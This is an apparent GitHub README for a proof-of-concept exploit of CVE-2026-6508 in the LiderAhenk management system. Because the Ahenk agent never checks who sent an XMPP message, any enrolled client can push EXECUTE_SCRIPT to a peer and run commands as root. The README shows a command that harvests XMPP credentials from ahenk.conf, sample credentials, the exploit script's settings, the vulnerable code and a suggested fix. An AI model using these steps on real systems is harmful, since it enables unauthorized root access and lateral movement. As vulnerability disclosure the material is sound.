jackalkarlos/EvilAhenk

GitHub: jackalkarlos/EvilAhenk

该项目是 CVE-2026-6508 的概念验证工具,演示了如何利用 LiderAhenk 管理系统中 Ahenk agent 缺少发送者身份验证的缺陷,通过 XMPP 协议实现未授权的 root 级远程代码执行和横向移动。

Stars: 2 | Forks: 0

# CVE-2026-6508 EvilAhenk 是 LiderAhenk 核心管理系统(Merkezi Yönetim Sistemi)架构中的一个严重安全漏洞,它允许所有客户端在彼此的终端节点(agents)上以 'root' 权限执行代码(未授权 RCE 和横向移动,Lateral Movement)。 ## 系统工作原理 在 LiderAhenk 中,管理面板/中心服务器通过 XMPP 向客户端发送任务和策略消息。 - 中心管理面板使用授权用户连接到 XMPP 服务器, - 客户端上的 `ahenk` agent 也会连接到同一个 XMPP 基础设施, - 中心向目标客户端发送 `EXECUTE_POLICY`、`EXECUTE_TASK` 或 `EXECUTE_SCRIPT` 等消息 - 客户端 agent 接收并应用这些消息 因此,XMPP 在这里作为管理流量的传输通道。中心面板的命令通常通过该通道发送给客户端。 ## 预期流程与漏洞流程的区别 预期流程: ``` Lider/Ahenk yonetim paneli -> XMPP sunucusu -> hedef agent ``` 漏洞流程: - `ct-2` 是连接到同一个 XMPP 服务器的合法客户端 - `ct-2` 以 `ct-1` 的 JID 为目标,通过 XMPP 服务器发送 `EXECUTE_SCRIPT` 消息 - XMPP 服务器将消息转发给 `ct-1` - `ct-1` 在没有检查消息是否确实来自 `lider_sunucu` 的情况下执行了命令 - 命令以 root 权限运行,因为 `ahenk.service` 就是以 root 权限运行的 ``` ct-2 veya baska bir XMPP hesabi -> XMPP sunucusu -> ct-1 agent -> root komut ``` 也就是说,我们并没有攻击 XMPP 层。XMPP 服务器只是在执行正常的消息路由。问题出在 `ct-1` 端的 Ahenk agent,它没有验证接收到的消息是否确实来自授权的管理账户。 ## PoC ``` pip install slixmpp ``` 通过一台被攻陷且连接到中央管理系统的 client,可以收集到如下信息: ``` sudo grep -E '^(uid|password|host|port|servicename|receiverjid|use_tls)' /etc/ahenk/ahenk.conf ``` 示例输出; ``` uid = pardus-ct-2 password = e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401 host = 192.168.100.13 port = 5222 use_tls = false receiverjid = lider_sunucu servicename = im.liderahenk.org ``` 根据收集到的信息更新 Main.py 文件,其中 im.liderahenk.org 为 domain,pardus-ct-1 为目标 uid ``` - XMPP user: `pardus-ct-2@im.liderahenk.org` - XMPP password: `e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401` - XMPP host: `192.168.100.13` - XMPP port: `5222` - Varsayilan hedef: `pardus-ct-1@im.liderahenk.org` ``` 可以通过修改 COMMAND 变量来更改将在目标机器上执行的命令。 ``` root@pardus-ct-2:/home/pardus-ct-2# cat xp.py | head -n 11 #!/usr/bin/env python3 import asyncio import json from slixmpp import ClientXMPP XMPP_USER = "pardus-ct-2@im.liderahenk.org" XMPP_PASS = "e0c5a52e-36c2-31fc-ad0b-e9ceabbf3401" TARGET_JID = "pardus-ct-1@im.liderahenk.org" XMPP_HOST = "192.168.100.13" XMPP_PORT = 5222 COMMAND = "id > /tmp/who; false" ``` ## 漏洞代码 在 `repos/ahenk/src/base/messaging/messenger.py` 中,传入的消息仅根据 `type` 字段进行处理。对于 `msg['from']` 没有进行授权发送者验证: ``` def recv_direct_message(self, msg): if msg['type'] in ['normal']: j = json.loads(str(msg['body'])) message_type = j['type'] self.event_manger.fireEvent(message_type, str(msg['body'])) ``` 而在 `repos/ahenk/src/base/execution/execution_manager.py` 中,`EXECUTE_SCRIPT` 会直接进入命令执行环节: ``` def execute_script(self, arg): json_data = json.loads(arg) result_code, p_out, p_err = Util.execute(str(json_data['command'])) ``` 当这两部分结合在一起时,产生的影响如下: - XMPP 服务器将消息转发给目标 - 目标 agent 未经验证发送者身份便触发了 `EXECUTE_SCRIPT` 事件 - 命令以 root 权限运行 可能的架构层面修复方案; ``` def recv_direct_message(self, msg): if msg['type'] != 'normal': return allowed_sender = self.receiver.split('/')[0] actual_sender = msg['from'].bare if actual_sender != allowed_sender: self.logger.warning("Rejected message from %s", actual_sender) return j = json.loads(str(msg['body'])) self.event_manger.fireEvent(j['type'], str(msg['body'])) ```
标签:PE 加载器, XMPP协议, XXE攻击, 安全漏洞, 横向移动, 编程工具, 编程规范, 远程代码执行, 逆向工具